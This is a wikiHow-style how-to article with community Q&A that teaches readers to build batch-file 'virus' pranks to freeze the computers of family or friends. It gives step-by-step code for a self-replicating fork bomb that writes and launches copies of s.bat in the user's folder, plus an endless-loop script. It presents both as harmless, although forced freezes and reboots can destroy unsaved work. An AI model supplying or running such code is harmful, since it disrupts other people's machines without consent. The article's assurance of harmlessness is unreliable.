Sometimes, you might be thinking of making your own prank for others, but your family/friends are technological. This article will teach how to make a self-replicating, harmless virus, that freezes your computer as a prank.

Method 1
Method 1 of 2:
Echo Window Prank

  1. 1
    Open Notepad. You can also open any other word processor.
  2. 2
    Type on the first line. It should be "@echo off".
  3. 3
    Type the following code on the next line:
    • cd %homedrive%/users/%username%/
    • (
    • echo start s.bat
    • )>>s.bat
    • start s.bat
  4. 4
    Save the file. Remember to add the ".bat" extension to the end of the file name.
  5. 5
    Open the file. It will open many pointless windows, but it will freeze the computer.
  6. 6
    Shut down your computer. It will return to normal.

Method 2
Method 2 of 2:
Endless Loop Prank

  1. 1
    Open Notepad, or another word processor.
  2. 2
    Type :BEGIN.
  3. 3
    Type ECHO.
  4. 4
    Put the command, "goto begin".
  5. 5
    Save as loop.bat.
  6. 6
    Open the file. It will most likely crash your computer as it continues to spam the help window.
  7. 7
    Stop the virus. You must tap X to do so.

Community Q&A

  • Question
    Can this harm my computer?
    Community Answer
    Community Answer
    No, this will not harm your computer in any way. This will only freeze or lag your computer, but after rebooting, it will be completely fine.
  • Question
    Will this cause my computer to crash?
    Hello903hello
    Hello903hello
    Community Answer
    No. Unless your computer has too little RAM (Random Access Memory), or you opened up too many apps (especially Google Chrome). In that case your RAM would be used up and cause your computer to lag.
  • Question
    How do I fix a PC loop program?
    Community Answer
    Community Answer
    Right click on the taskbar and go to Task Manager. Select the program and click on "end task". This will fix the problem. If it doesn't, restart your system.
  • Question
    Is it goto or Go To?
    Community Answer
    Community Answer
    It is goto. If you put Go To, nothing will happen.
  • Question
    How do I make the freezing to start automatically when someone opens the file?
    Community Answer
    Community Answer
    The program should start automatically if the virus is saved as a .bat file and run.
  • Question
    Is it possible to make this harmless virus in Windows 8 Word?
    Community Answer
    Community Answer
    No, as Microsoft word carries extra code to pretty up text. However, notepad should be available for use.
  • Question
    What if I do not have access to notepad?
    Chloe Lin
    Chloe Lin
    Community Answer
    Save it in Word as a .txt file, after that, you can rename it to loop.bat. Make sure you have show file extensions turned on, or it won't work.
  • Question
    Can this work on a Mac or Chromebook?
    Community Answer
    Community Answer
    No, both Mac and Chromebooks cannot open either exe or bat files.

Warnings

About This Article

wikiHow is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors. To create this article, 38 people, some anonymous, worked to edit and improve it over time. This article has been viewed 126,240 times.
59 votes - 73%
Co-authors: 38
Updated: September 15, 2021
Views: 126,240
Categories: Computer Pranks